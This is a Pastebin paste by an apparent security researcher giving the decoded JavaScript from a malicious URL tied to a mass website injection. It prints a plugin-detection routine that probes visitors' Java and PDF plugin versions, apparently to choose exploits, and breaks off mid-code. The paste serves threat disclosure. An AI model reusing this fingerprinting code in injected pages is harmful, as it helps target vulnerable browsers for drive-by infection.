Advertisement
wayne_of_armorize

ecoded version of http://arhyv.ru

Jul 25th, 2011
3,135
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. Blog post: willysy.com Mass Injection ongoing
  2. http://armorize-cht.blogspot.com/2011/08/willysycom-oscommerce.html
  3.  
  4. Decoded version of http://arhyv.ru/9VBMa76FFnB4VAYu0X5j755pMiSyVrcV
  5.  
  6. var javafile = "getJavaInfo.jar";
  7. var jver = [0, 0, 0, 0],
  8.     pdfver = [0, 0, 0, 0];
  9. try {
  10.     var PluginDetect = {
  11.         version: "0.7.4",
  12.         handler: function (c, b, a) {
  13.             return function () {
  14.                 c(b, a)
  15.             }
  16.         },
  17.         isDefined: function (b) {
  18.             return typeof b != "undefined"
  19.         },
  20.         isArray: function (b) {
  21.             return (/array/i).test(Object.prototype.toString.call(b))
  22.         },
  23.         isFunc: function (b) {
  24.             return typeof b == "function"
  25.         },
  26.         isString: function (b) {
  27.             return typeof b == "string"
  28.         },
  29.         isNum: function (b) {
  30.             return typeof b == "number"
  31.         },
  32.         isStrNum: function (b) {
  33.             return (typeof b == "string" && (/\d/).test(b))
  34.         },
  35.         getNumRegx: /[\d][\d\.\_,-]*/,
  36.         splitNumRegx: /[\.\_,-]/g,
  37.         getNum: function (b, c) {
  38.             var d = this,
  39.                 a = d.isStrNum(b) ? (d.isDefined(c) ? new RegExp(c) : d.getNumRegx).exec(b) : null;
  40.             return a ? a[0] : null
  41.         },
  42.         compareNums: function (h, f, d) {
  43.             var e = this,
  44.                 c, b, a, g = parseInt;
  45.             if (e.isStrNum(h) && e.isStrNum(f)) {
  46.                 if (e.isDefined(d) && d.compareNums) {
  47.                     return d.compareNums(h, f)
  48.                 }
  49.                 c = h.split(e.splitNumRegx);
  50.                 b = f.split(e.splitNumRegx);
  51.                 for (a = 0; a < Math.min(c.length, b.length); a++) {
  52.                     if (g(c[a], 10) > g(b[a], 10)) {
  53.                         return 1
  54.                     }
  55.                     if (g(c[a], 10) < g(b[a], 10)) {
  56.                         return -1
  57.                     }
  58.                 }
  59.             }
  60.             return 0
  61.         },
  62.         formatNum: function (b, c) {
  63.             var d = this,
  64.                 a, e;
  65.             if (!d.isStrNum(b)) {
  66.                 return null
  67.             }
  68.             if (!d.isNum(c)) {
  69.                 c = 4
  70.             }
  71.             c--;
  72.             e = b.replace(/\s/g, "").split(d.splitNumRegx).concat(["0", "0", "0", "0"]);
  73.             for (a = 0; a < 4; a++) {
  74.                 if (/^(0+)(.+)$/.test(e[a])) {
  75.                     e[a] = RegExp.$2
  76.                 }
  77.                 if (a > c || !(/\d/).test(e[a])) {
  78.                     e[a] = "0"
  79.                 }
  80.             }
  81.             return e.slice(0, 4).join(",")
  82.         },
  83.         $$hasMimeType: function (a) {
  84.             return function (d) {
  85.                 if (!a.isIE) {
  86.                     var c, b, e, f = a.isString(d) ? [d] : d;
  87.                     for (e = 0; e < f.length; e++) {
  88.                         if (/[^\s]/.test(f[e]) && (c = navigator.mimeTypes[f[e]]) && (b = c.enabledPlugin) && (b.name || b.description)) {
  89.                             return c
  90.                         }
  91.                     }
  92.                 }
  93.                 return null
  94.             }
  95.         },
  96.         findNavPlugin: function (l, e, c) {
  97.             var j = this,
  98.                 h = new RegExp(l, "i"),
  99.                 d = (!j.isDefined(e) || e) ? /\d/ : 0,
  100.                 k = c ? new RegExp(c, "i") : 0,
  101.                 a = navigator.plugins,
  102.                 g = "",
  103.                 f, b, m;
  104.             for (f = 0; f < a.length; f++) {
  105.                 m = a[f].description || g;
  106.                 b = a[f].name || g;
  107.                 if ((h.test(m) && (!d || d.test(RegExp.leftContext + RegExp.rightContext))) || (h.test(b) && (!d || d.test(RegExp.leftContext + RegExp.rightContext)))) {
  108.                     if (!k || !(k.test(m) || k.test(b))) {
  109.                         return a[f]
  110.                     }
  111.                 }
  112.             }
  113.             return null
  114.         },
  115.         getMimeEnabledPlugin: function (a, e) {
  116.             var d = this,
  117.                 b, c = new RegExp(e, "i");
  118.             if ((b = d.hasMimeType(a)) && (b = b.enabledPlugin) && (c.test(b.description || "") || c.test(b.name || ""))) {
  119.                 return b
  120.             }
  121.             return 0
  122.         },
  123.         getPluginFileVersion: function (f, b) {
  124.             var h = this,
  125.                 e, d, g, a, c = -1;
  126.             if (h.OS > 2 || !f || !f.version || !(e = h.getNum(f.version))) {
  127.                 return b
  128.             }
  129.             if (!b) {
  130.                 return e
  131.             }
  132.             e = h.formatNum(e);
  133.             b = h.formatNum(b);
  134.             d = b.split(h.splitNumRegx);
  135.             g = e.split(h.splitNumRegx);
  136.             for (a = 0; a < d.length; a++) {
  137.                 if (c > -1 && a > c && d[a] != "0") {
  138.                     return b
  139.                 }
  140.                 if (g[a] != d[a]) {
  141.                     if (c == -1) {
  142.                         c = a
  143.                     }
  144.                     if (d[a] != "0") {
  145.                         return b
  146.                     }
  147.                 }
  148.             }
  149.             return e
  150.         },
  151.         AXO: window.ActiveXObject,
  152.         getAXO: function (a) {
  153.             var d = null,
  154.                 c, b = this;
  155.             try {
  156.                 d = new b.AXO(a)
  157.             } catch (c) {}
  158.             return d
  159.         },
  160.         convertFuncs: function (g) {
  161.             var a, h, f, b = /^[\$][\$]/,
  162.                 d = {},
  163.                 c = this;
  164.             for (a in g) {
  165.                 if (b.test(a)) {
  166.                     d[a] = 1
  167.                 }
  168.             }
  169.             for (a in d) {
  170.                 try {
  171.                     h = a.slice(2);
  172.                     if (h.length > 0 && !g[h]) {
  173.                         g[h] = g[a](g);
  174.                         delete g[a]
  175.                     }
  176.                 } catch (f) {}
  177.             }
  178.         },
  179.         initScript: function () {
  180.             var c = this,
  181.                 a = navigator,
  182.                 d = "/",
  183.                 h = a.userAgent || "",
  184.                 f = a.vendor || "",
  185.                 b = a.platform || "",
  186.                 g = a.product || "";
  187.             c.OS = (/win/i).test(b) ? 1 : ((/mac/i).test(b) ? 2 : ((/linux/i).test(b) ? 3 : 4));
  188.             c.convertFuncs(c);
  189.             c.isIE = new Function("return " + d + "*@cc_on!@*" + d + "false")();
  190.             c.verIE = c.isIE && (/MSIE\s*(\d+\.?\d*)/i).test(h) ? parseFloat(RegExp.$1, 10) : null;
  191.             c.ActiveXEnabled = false;
  192.             if (c.isIE) {
  193.                 var e, i = ["Msxml2.XMLHTTP", "Msxml2.DOMDocument", "Microsoft.XMLDOM", "ShockwaveFlash.ShockwaveFlash", "TDCCtl.TDCCtl", "Shell.UIHelper", "Scripting.Dictionary", "wmplayer.ocx"];
  194.                 for (e = 0; e < i.length; e++) {
  195.                     if (c.getAXO(i[e])) {
  196.                         c.ActiveXEnabled = true;
  197.                         break
  198.                     }
  199.                 }
  200.                 c.head = c.isDefined(document.getElementsByTagName) ? document.getElementsByTagName("head")[0] : null
  201.             }
  202.             c.isGecko = (/Gecko/i).test(g) && (/Gecko\s*\/\s*\d/i).test(h);
  203.             c.verGecko = c.isGecko ? c.formatNum((/rv\s*\:\s*([\.\,\d]+)/i).test(h) ? RegExp.$1 : "0.9") : null;
  204.             c.isSafari = (/Safari\s*\/\s*\d/i).test(h) && (/Apple/i).test(f);
  205.             c.isChrome = (/Chrome\s*\/\s*(\d[\d\.]*)/i).test(h);
  206.             c.verChrome = c.isChrome ? c.formatNum(RegExp.$1) : null;
  207.             c.isOpera = (/Opera\s*[\/]?\s*(\d+\.?\d*)/i).test(h);
  208.             c.verOpera = c.isOpera && ((/Version\s*\/\s*(\d+\.?\d*)/i).test(h) || 1) ? parseFloat(RegExp.$1, 10) : null;
  209.             c.addWinEvent("load", c.handler(c.runWLfuncs, c))
  210.         },
  211.         init: function (c) {
  212.             var b = this,
  213.                 a, c;
  214.             if (!b.isString(c)) {
  215.                 return -3
  216.             }
  217.             if (c.length == 1) {
  218.                 b.getVersionDelimiter = c;
  219.                 return -3
  220.             }
  221.             c = c.toLowerCase().replace(/\s/g, "");
  222.             a = b[c];
  223.             if (!a || !a.getVersion) {
  224.                 return -3
  225.             }
  226.             b.plugin = a;
  227.             if (!b.isDefined(a.installed)) {
  228.                 a.installed = a.version = a.version0 = a.getVersionDone = null;
  229.                 a.$ = b;
  230.                 a.pluginName = c
  231.             }
  232.             b.garbage = false;
  233.             if (b.isIE && !b.ActiveXEnabled) {
  234.                 if (a !== b.java) {
  235.                     return -2
  236.                 }
  237.             }
  238.             return 1
  239.         },
  240.         fPush: function (b, a) {
  241.             var c = this;
  242.             if (c.isArray(a) && (c.isFunc(b) || (c.isArray(b) && b.length > 0 && c.isFunc(b[0])))) {
  243.                 a.push(b)
  244.             }
  245.         },
  246.         callArray: function (b) {
  247.             var c = this,
  248.                 a;
  249.             if (c.isArray(b)) {
  250.                 for (a = 0; a < b.length; a++) {
  251.                     if (b[a] === null) {
  252.                         return
  253.                     }
  254.                     c.call(b[a]);
  255.                     b[a] = null
  256.                 }
  257.             }
  258.         },
  259.         call: function (c) {
  260.             var b = this,
  261.                 a = b.isArray(c) ? c.length : -1;
  262.             if (a > 0 && b.isFunc(c[0])) {
  263.                 c[0](b, a > 1 ? c[1] : 0, a > 2 ? c[2] : 0, a > 3 ? c[3] : 0)
  264.             } else {
  265.                 if (b.isFunc(c)) {
  266.                     c(b)
  267.                 }
  268.             }
  269.         },
  270.         getVersionDelimiter: ",",
  271.         $$getVersion: function (a) {
  272.             return function (g, d, c) {
  273.                 var e = a.init(g),
  274.                     f, b;
  275.                 if (e < 0) {
  276.                     return null
  277.                 };
  278.                 f = a.plugin;
  279.                 if (f.getVersionDone != 1) {
  280.                     f.getVersion(d, c);
  281.                     if (f.getVersionDone === null) {
  282.                         f.getVersionDone = 1
  283.                     }
  284.                 }
  285.                 a.cleanup();
  286.                 b = (f.version || f.version0);
  287.                 return b ? b.replace(a.splitNumRegx, a.getVersionDelimiter) : b
  288.             }
  289.         },
  290.         cleanup: function () {
  291.             var a = this;
  292.             if (a.garbage && a.isDefined(window.CollectGarbage)) {
  293.                 window.CollectGarbage()
  294.             }
  295.         },
  296.         addWinEvent: function (d, c) {
  297.             var e = this,
  298.                 a = window,
  299.                 b;
  300.             if (e.isFunc(c)) {
  301.                 if (a.addEventListener) {
  302.                     a.addEventListener(d, c, false)
  303.                 } else {
  304.                     if (a.attachEvent) {
  305.                         a.attachEvent("on" + d, c)
  306.                     } else {
  307.                         b = a["on" + d];
  308.                         a["on" + d] = e.winHandler(c, b)
  309.                     }
  310.                 }
  311.             }
  312.         },
  313.         winHandler: function (d, c) {
  314.             return function () {
  315.                 d();
  316.                 if (typeof c == "function") {
  317.                     c()
  318.                 }
  319.             }
  320.         },
  321.         WLfuncs0: [],
  322.         WLfuncs: [],
  323.         runWLfuncs: function (a) {
  324.             a.winLoaded = true;
  325.             a.callArray(a.WLfuncs0);
  326.             a.callArray(a.WLfuncs);
  327.             if (a.onDoneEmptyDiv) {
  328.                 a.onDoneEmptyDiv()
  329.             }
  330.         },
  331.         winLoaded: false,
  332.         $$onWindowLoaded: function (a) {
  333.             return function (b) {
  334.                 if (a.winLoaded) {
  335.                     a.call(b)
  336.                 } else {
  337.                     a.fPush(b, a.WLfuncs)
  338.                 }
  339.             }
  340.         },
  341.         div: null,
  342.         divWidth: 50,
  343.         pluginSize: 1,
  344.         emptyDiv: function () {
  345.             var c = this,
  346.                 a, e, b, d = 0;
  347.             if (c.div && c.div.childNodes) {
  348.                 for (a = c.div.childNodes.length - 1; a >= 0; a--) {
  349.                     b = c.div.childNodes[a];
  350.                     if (b && b.childNodes) {
  351.                         if (d == 0) {
  352.                             for (e = b.childNodes.length - 1; e >= 0; e--) {
  353.                                 b.removeChild(b.childNodes[e])
  354.                             }
  355.                             c.div.removeChild(b)
  356.                         } else {}
  357.                     }
  358.                 }
  359.             }
  360.         },
  361.         DONEfuncs: [],
  362.         onDoneEmptyDiv: function () {
  363.             var c = this,
  364.                 a, b;
  365.             if (!c.winLoaded) {
  366.                 return
  367.             }
  368.             if (c.WLfuncs && c.WLfuncs.length && c.WLfuncs[c.WLfuncs.length - 1] !== null) {
  369.                 return
  370.             }
  371.             for (a in c) {
  372.                 b = c[a];
  373.                 if (b && b.funcs) {
  374.                     if (b.OTF == 3) {
  375.                         return
  376.                     }
  377.                     if (b.funcs.length && b.funcs[b.funcs.length - 1] !== null) {
  378.                         return
  379.                     }
  380.                 }
  381.             }
  382.             for (a = 0; a < c.DONEfuncs.length; a++) {
  383.                 c.callArray(c.DONEfuncs)
  384.             }
  385.             c.emptyDiv()
  386.         },
  387.         getWidth: function (c) {
  388.             if (c) {
  389.                 var a = c.scrollWidth || c.offsetWidth,
  390.                     b = this;
  391.                 if (b.isNum(a)) {
  392.                     return a
  393.                 }
  394.             }
  395.             return -1
  396.         },
  397.         getTagStatus: function (m, g, a, b) {
  398.             var c = this,
  399.                 f, k = m.span,
  400.                 l = c.getWidth(k),
  401.                 h = a.span,
  402.                 j = c.getWidth(h),
  403.                 d = g.span,
  404.                 i = c.getWidth(d);
  405.             if (!k || !h || !d || !c.getDOMobj(m)) {
  406.                 return -2
  407.             }
  408.             if (j < i || l < 0 || j < 0 || i < 0 || i <= c.pluginSize || c.pluginSize < 1) {
  409.                 return 0
  410.             }
  411.             if (l >= i) {
  412.                 return -1
  413.             }
  414.             try {
  415.                 if (l == c.pluginSize && (!c.isIE || c.getDOMobj(m).readyState == 4)) {
  416.                     if (!m.winLoaded && c.winLoaded) {
  417.                         return 1
  418.                     }
  419.                     if (m.winLoaded && c.isNum(b)) {
  420.                         if (!c.isNum(m.count)) {
  421.                             m.count = b
  422.                         }
  423.                         if (b - m.count >= 10) {
  424.                             return 1
  425.                         }
  426.                     }
  427.                 }
  428.             } catch (f) {}
  429.             return 0
  430.         },
  431.         getDOMobj: function (g, a) {
  432.             var f, d = this,
  433.                 c = g ? g.span : 0,
  434.                 b = c && c.firstChild ? 1 : 0;
  435.             try {
  436.                 if (b && a) {
  437.                     c.firstChild.focus()
  438.                 }
  439.             } catch (f) {}
  440.             return b ? c.firstChild : null
  441.         },
  442.         setStyle: function (b, g) {
  443.             var f = b.style,
  444.                 a, d, c = this;
  445.             if (f && g) {
  446.                 for (a = 0; a < g.length; a = a + 2) {
  447.                     try {
  448.                         f[g[a]] = g[a + 1]
  449.                     } catch (d) {}
  450.                 }
  451.             }
  452.         },
  453.         insertDivInBody: function (i) {
  454.             var g, d = this,
  455.                 h = "pd33993399",
  456.                 c = null,
  457.                 f = document,
  458.                 b = "<",
  459.                 a = (f.getElementsByTagName("body")[0] || f.body);
  460.             if (!a) {
  461.                 try {
  462.                     f.write(b + 'div id="' + h + '">o' + b + "/div>");
  463.                     c = f.getElementById(h)
  464.                 } catch (g) {}
  465.             }
  466.             a = (f.getElementsByTagName("body")[0] || f.body);
  467.             if (a) {
  468.                 if (a.firstChild && d.isDefined(a.insertBefore)) {
  469.                     a.insertBefore(i, a.firstChild)
  470.                 } else {
  471.                     a.appendChild(i)
  472.                 }
  473.                 if (c) {
  474.                     a.removeChild(c)
  475.                 }
  476.             } else {}
  477.         },
  478.         insertHTML: function (g, b, h, a, k) {
  479.             var l, m = document,
  480.                 j = this,
  481.                 q, o = m.createElement("span"),
  482.                 n, i, f = "<";
  483.             var c = ["outlineStyle", "none", "borderStyle", "none", "padding", "0px", "margin", "0px", "visibility", "visible"];
  484.             if (!j.isDefined(a)) {
  485.                 a = ""
  486.             }
  487.             if (j.isString(g) && (/[^\s]/).test(g)) {
  488.                 q = f + g + ' width="' + j.pluginSize + '" height="' + j.pluginSize + '" ';
  489.                 for (n = 0; n < b.length; n = n + 2) {
  490.                     if (/[^\s]/.test(b[n + 1])) {
  491.                         q += b[n] + '="' + b[n + 1] + '" '
  492.                     }
  493.                 }
  494.                 q += ">";
  495.                 for (n = 0; n < h.length; n = n + 2) {
  496.                     if (/[^\s]/.test(h[n + 1])) {
  497.                         q += f + 'param name="' + h[n] + '" value="' + h[n + 1] + '" />'
  498.                     }
  499.                 }
  500.                 q += a + f + "/" + g + ">"
  501.             } else {
  502.                 q = a
  503.             }
  504.             if (!j.div) {
  505.                 j.div = m.createElement("div");
  506.                 i = m.getElementById("plugindetect");
  507.                 if (i) {
  508.                     j.div = i
  509.                 } else {
  510.                     j.div.id = "plugindetect";
  511.                     j.insertDivInBody(j.div)
  512.                 }
  513.                 j.setStyle(j.div, c.concat(["width", j.divWidth + "px", "height", (j.pluginSize + 3) + "px", "fontSize", (j.pluginSize + 3) + "px", "lineHeight", (j.pluginSize + 3) + "px", "verticalAlign", "baseline", "display", "block"]));
  514.                 if (!i) {
  515.                     j.setStyle(j.div, ["position", "absolute", "right", "0px", "top", "0px"])
  516.                 }
  517.             }
  518.             if (j.div && j.div.parentNode) {
  519.                 j.div.appendChild(o);
  520.                 j.setStyle(o, c.concat(["fontSize", (j.pluginSize + 3) + "px", "lineHeight", (j.pluginSize + 3) + "px", "verticalAlign", "baseline", "display", "inline"]));
  521.                 try {
  522.                     if (o && o.parentNode) {
  523.                         o.focus()
  524.                     }
  525.                 } catch (l) {}
  526.                 try {
  527.                     o.innerHTML = q
  528.                 } catch (l) {}
  529.                 if (o.childNodes.length == 1 && !(j.isGecko && j.compareNums(j.verGecko, "1,5,0,0") < 0)) {
  530.                     j.setStyle(o.firstChild, c.concat(["display", "inline"]))
  531.                 }
  532.                 return {
  533.                     span: o,
  534.                     winLoaded: j.winLoaded,
  535.                     tagName: (j.isString(g) ? g : "")
  536.                 }
  537.             }
  538.             return {
  539.                 span: null,
  540.                 winLoaded: j.winLoaded,
  541.                 tagName: ""
  542.             }
  543.         },
  544.         java: {
  545.             mimeType: ["application/x-java-applet", "application/x-java-vm", "application/x-java-bean"],
  546.             mimeTypeJPI: "application/x-java-applet;jpi-version=",
  547.             classID: "clsid:8AD9C840-044E-11D1-B3E9-00805F499D93",
  548.             DTKclassID: "clsid:CAFEEFAC-DEC7-0000-0000-ABCDEFFEDCBA",
  549.             DTKmimeType: ["application/java-deployment-toolkit", "application/npruntime-scriptable-plugin;DeploymentToolkit"],
  550.             forceVerifyTag: [],
  551.             jar: [],
  552.             Enabled: navigator.javaEnabled(),
  553.             VENDORS: ["Sun Microsystems Inc.", "Apple Computer, Inc."],
  554.             OTF: null,
  555.             All_versions: [],
  556.             mimeTypeJPIresult: "",
  557.             JavaPlugin_versions: [],
  558.             JavaVersions: [
  559.                 [1, 9, 2, 30],
  560.                 [1, 8, 2, 30],
  561.                 [1, 7, 2, 30],
  562.                 [1, 6, 1, 30],
  563.                 [1, 5, 1, 30],
  564.                 [1, 4, 2, 30],
  565.                 [1, 3, 1, 30]
  566.             ],
  567.             searchJavaPluginAXO: function () {
  568.                 var h = null,
  569.                     a = this,
  570.                     c = a.$,
  571.                     g = [],
  572.                     j = [1, 5, 0, 14],
  573.                     i = [1, 6, 0, 2],
  574.                     f = [1, 3, 1, 0],
  575.                     e = [1, 4, 2, 0],
  576.                     d = [1, 5, 0, 7],
  577.                     b = false;
  578.                 if (!c.ActiveXEnabled) {
  579.                     return null
  580.                 };
  581.                 if (c.verIE >= a.minIEver) {
  582.                     g = a.searchJavaAXO(i, i, b);
  583.                     if (g.length > 0 && b) {
  584.                         g = a.searchJavaAXO(j, j, b)
  585.                     }
  586.                 } else {
  587.                     if (g.length == 0) {
  588.                         g = a.searchJavaAXO(f, e, false)
  589.                     }
  590.                 }
  591.                 if (g.length > 0) {
  592.                     h = g[0]
  593.                 }
  594.                 a.JavaPlugin_versions = [].concat(g);
  595.                 return h
  596.             },
  597.             searchJavaAXO: function (l, i, m) {
  598.                 var n, f, h = this.$,
  599.                     q, k, a, e, g, j, b, r = [];
  600.                 if (h.compareNums(l.join(","), i.join(",")) > 0) {
  601.                     i = l
  602.                 }
  603.                 i = h.formatNum(i.join(","));
  604.                 var o, d = "1,4,2,0",
  605.                     c = "JavaPlugin." + l[0] + "" + l[1] + "" + l[2] + "" + (l[3] > 0 ? ("_" + (l[3] < 10 ? "0" : "") + l[3]) : "");
  606.                 for (n = 0; n < this.JavaVersions.length; n++) {
  607.                     f = this.JavaVersions[n];
  608.                     q = "JavaPlugin." + f[0] + "" + f[1];
  609.                     g = f[0] + "." + f[1] + ".";
  610.                     for (a = f[2]; a >= 0; a--) {
  611.                         b = "JavaWebStart.isInstalled." + g + a + ".0";
  612.                         if (h.compareNums(f[0] + "," + f[1] + "," + a + ",0", i) >= 0 && !h.getAXO(b)) {
  613.                             continue
  614.                         }
  615.                         o = h.compareNums(f[0] + "," + f[1] + "," + a + ",0", d) < 0 ? true : false;
  616.                         for (e = f[3]; e >= 0; e--) {
  617.                             k = a + "_" + (e < 10 ? "0" + e : e);
  618.                             j = q + k;
  619.                             if (h.getAXO(j) && (o || h.getAXO(b))) {
  620.                                 r.push(g + k);
  621.                                 if (!m) {
  622.                                     return r
  623.                                 }
  624.                             }
  625.                             if (j == c) {
  626.                                 return r
  627.                             }
  628.                         }
  629.                         if (h.getAXO(q + a) && (o || h.getAXO(b))) {
  630.                             r.push(g + a);
  631.                             if (!m) {
  632.                                 return r
  633.                             }
  634.                         }
  635.                         if (q + a == c) {
  636.                             return r
  637.                         }
  638.                     }
  639.                 }
  640.                 return r
  641.             },
  642.             minIEver: 7,
  643.             getMimeJPIversion: function () {
  644.                 var h, a = this,
  645.                     d = a.$,
  646.                     c = new RegExp("(" + a.mimeTypeJPI + ")(\\d.*)", "i"),
  647.                     k = new RegExp("Java", "i"),
  648.                     e, j, f = "",
  649.                     i = {},
  650.                     g = 0,
  651.                     b;
  652.                 for (h = 0; h < navigator.mimeTypes.length; h++) {
  653.                     j = navigator.mimeTypes[h];
  654.                     if (c.test(j.type) && (e = j.enabledPlugin) && (j = RegExp.$2) && (k.test(e.description || f) || k.test(e.name || f))) {
  655.                         i["a" + d.formatNum(j)] = j
  656.                     }
  657.                 }
  658.                 b = "0,0,0,0";
  659.                 for (h in i) {
  660.                     g++;
  661.                     e = h.slice(1);
  662.                     if (d.compareNums(e, b) > 0) {
  663.                         b = e
  664.                     }
  665.                 }
  666.                 a.mimeTypeJPIresult = g > 0 ? a.mimeTypeJPI + i["a" + b] : "";
  667.                 return g > 0 ? b : null
  668.             },
  669.             getVersion: function (d, l) {
  670.                 var f, c = this,
  671.                     e = c.$,
  672.                     h = c.NOTF,
  673.                     b = c.applet,
  674.                     j = c.verify,
  675.                     i = vendor = versionEnabled = null;
  676.                 if (c.getVersionDone === null) {
  677.                     c.OTF = 0;
  678.                     c.mimeObj = e.hasMimeType(c.mimeType);
  679.                     c.deployTK.$ = e;
  680.                     c.deployTK.parentNode = c;
  681.                     b.$ = e;
  682.                     b.parentNode = c;
  683.                     if (h) {
  684.                         h.$ = e;
  685.                         h.parentNode = c
  686.                     }
  687.                     if (j) {
  688.                         j.parentNode = c;
  689.                         j.$ = e;
  690.                         j.init()
  691.                     }
  692.                 }
  693.                 var k;
  694.                 if (e.isArray(l)) {
  695.                     for (k = 0; k < b.allowed.length; k++) {
  696.                         if (e.isNum(l[k])) {
  697.                             b.allowed[k] = l[k]
  698.                         }
  699.                     }
  700.                 }
  701.                 for (k = 0; k < c.forceVerifyTag.length; k++) {
  702.                     b.allowed[k] = c.forceVerifyTag[k]
  703.                 }
  704.                 if (e.isString(d)) {
  705.                     c.jar.push(d)
  706.                 }
  707.                 if (c.getVersionDone == 0) {
  708.                     if (!c.version || b.canTryAny()) {
  709.                         f = b.insertHTMLQueryAll(d);
  710.                         if (f[0]) {
  711.                             c.installed = 1;
  712.                             c.EndGetVersion(f[0], f[1])
  713.                         }
  714.                     }
  715.                     return
  716.                 }
  717.                 var g = c.deployTK.query();
  718.                 if (g.JRE) {
  719.                     i = g.JRE;
  720.                     vendor = c.VENDORS[0]
  721.                 }
  722.                 if (!e.isIE) {
  723.                     var o, m, a, n;
  724.                     n = (c.mimeObj && c.Enabled) ? true : false;
  725.                     if (!i && (f = c.getMimeJPIversion()) !== null) {
  726.                         i = f
  727.                     }
  728.                     if (!i && c.mimeObj) {
  729.                         f = "Java[^\\d]*Plug-in";
  730.                         a = e.findNavPlugin(f);
  731.                         if (a) {
  732.                             f = new RegExp(f, "i");
  733.                             o = f.test(a.description || "") ? e.getNum(a.description) : null;
  734.                             m = f.test(a.name || "") ? e.getNum(a.name) : null;
  735.                             if (o && m) {
  736.                                 i = (e.compareNums(e.formatNum(o), e.formatNum(m)) >= 0) ? o : m
  737.                             } else {
  738.                                 i = o || m
  739.                             }
  740.                         }
  741.                     }
  742.                     if (!i && c.mimeObj && e.isSafari && e.OS == 2) {
  743.                         a = e.findNavPlugin("Java.*\\d.*Plug-in.*Cocoa", 0);
  744.                         if (a) {
  745.                             o = e.getNum(a.description);
  746.                             if (o) {
  747.                                 i = o
  748.                             }
  749.                         }
  750.                     }
  751.                     if (i) {
  752.                         c.version0 = i;
  753.                         if (c.Enabled) {
  754.                             versionEnabled = i
  755.                         }
  756.                     }
  757.                 } else {
  758.                     if (!i && g.status == 0) {
  759.                         i = c.searchJavaPluginAXO();
  760.                         if (i) {
  761.                             vendor = c.VENDORS[0]
  762.                         }
  763.                     }
  764.                     if (i) {
  765.                         c.version0 = i;
  766.                         if (c.Enabled && e.ActiveXEnabled) {
  767.                             versionEnabled = i
  768.                         }
  769.                     }
  770.                 }
  771.                 if (!versionEnabled || b.canTryAny()) {
  772.                     f = b.insertHTMLQueryAll(d);
  773.                     if (f[0]) {
  774.                         versionEnabled = f[0];
  775.                         vendor = f[1]
  776.                     }
  777.                 }
  778.                 if (!versionEnabled && (f = c.queryWithoutApplets())[0]) {
  779.                     c.version0 = versionEnabled = f[0];
  780.                     vendor = f[1];
  781.                     if (c.installed == -0.5) {
  782.                         c.installed = 0.5
  783.                     }
  784.                 }
  785.                 if (e.isSafari && e.OS == 2) {
  786.                     if (!versionEnabled && n) {
  787.                         if (c.installed === null) {
  788.                             c.installed = 0
  789.                         } else {
  790.                             if (c.installed == -0.5) {
  791.                                 c.installed = 0.5
  792.                             }
  793.                         }
  794.                     }
  795.                 }
  796.                 if (c.jreDisabled()) {
  797.                     versionEnabled = null
  798.                 };
  799.                 if (c.installed === null) {
  800.                     c.installed = versionEnabled ? 1 : (i ? -0.2 : -1)
  801.                 }
  802.                 c.EndGetVersion(versionEnabled, vendor)
  803.             },
  804.             EndGetVersion: function (b, d) {
  805.                 var a = this,
  806.                     c = a.$;
  807.                 if (a.version0) {
  808.                     a.version0 = c.formatNum(c.getNum(a.version0))
  809.                 }
  810.                 if (b) {
  811.                     a.version = c.formatNum(c.getNum(b));
  812.                     a.vendor = (c.isString(d) ? d : "")
  813.                 }
  814.                 if (a.getVersionDone != 1) {
  815.                     a.getVersionDone = 0
  816.                 }
  817.             },
  818.             jreDisabled: function () {
  819.                 var b = this,
  820.                     d = b.$,
  821.                     c = b.deployTK.query().JRE,
  822.                     a;
  823.                 if (c && d.OS == 1) {
  824.                     if ((d.isGecko && d.compareNums(d.verGecko, "1,9,2,0") >= 0 && d.compareNums(c, "1,6,0,12") < 0) || (d.isChrome && d.compareNums(c, "1,6,0,12") < 0)) {
  825.                         return 1
  826.                     }
  827.                 };
  828.                 if (d.isOpera && d.verOpera >= 9 && !b.Enabled && !b.mimeObj && !b.queryWithoutApplets()[0]) {
  829.                     return 1
  830.                 }
  831.                 if ((d.isGecko || d.isChrome) && !b.mimeObj && !b.queryWithoutApplets()[0]) {
  832.                     return 1
  833.                 }
  834.                 return 0
  835.             },
  836.             deployTK: {
  837.                 status: null,
  838.                 JREall: [],
  839.                 JRE: null,
  840.                 HTML: null,
  841.                 query: function () {
  842.                     var f = this,
  843.                         h = f.$,
  844.                         c = f.parentNode,
  845.                         i, a, b, g = len = null;
  846.                     if (f.status !== null) {
  847.                         return f
  848.                     }
  849.                     f.status = 0;
  850.                     if ((h.isGecko && h.compareNums(h.verGecko, h.formatNum("1.6")) <= 0) || h.isSafari || (h.isIE && !h.ActiveXEnabled)) {
  851.                         return f
  852.                     }
  853.                     if (h.isIE && h.verIE >= 6) {
  854.                         f.HTML = h.insertHTML("object", [], []);
  855.                         g = h.getDOMobj(f.HTML)
  856.                     } else {
  857.                         if (!h.isIE && (b = h.hasMimeType(c.DTKmimeType)) && b.type) {
  858.                             f.HTML = h.insertHTML("object", ["type", b.type], []);
  859.                             g = h.getDOMobj(f.HTML)
  860.                         }
  861.                     }
  862.                     if (g) {
  863.                         if (h.isIE && h.verIE >= 6) {
  864.                             try {
  865.                                 g.classid = c.DTKclassID
  866.                             } catch (i) {}
  867.                         };
  868.                         try {
  869.                             var d = g.jvms;
  870.                             if (d) {
  871.                                 len = d.getLength();
  872.                                 if (h.isNum(len)) {
  873.                                     f.status = len > 0 ? 1 : -1;
  874.                                     for (a = 0; a < len; a++) {
  875.                                         b = h.getNum(d.get(len - 1 - a).version);
  876.                                         if (b) {
  877.                                             f.JREall[a] = b
  878.                                         }
  879.                                     }
  880.                                 }
  881.                             }
  882.                         } catch (i) {}
  883.                     }
  884.                     if (f.JREall.length > 0) {
  885.                         f.JRE = h.formatNum(f.JREall[0])
  886.                     }
  887.                     return f
  888.                 }
  889.             },
  890.             queryWithoutApplets00: function (c, a) {
  891.                 var b = window.java,
  892.                     d;
  893.                 try {
  894.                     if (b.lang) {
  895.                         a.value = [b.lang.System.getProperty("java.version") + " ", b.lang.System.getProperty("java.vendor") + " "]
  896.                     }
  897.                 } catch (d) {}
  898.             },
  899.             queryWithoutApplets: function () {
  900.                 var b = this,
  901.                     c = b.$,
  902.                     d, a = b.queryWithoutApplets;
  903.                 if (!a.value) {
  904.                     a.value = [null, null];
  905.                     if (!c.isIE && window.java) {
  906.                         if (c.OS == 2 && c.isOpera && c.verOpera < 9.2 && c.verOpera >= 9) {} else {
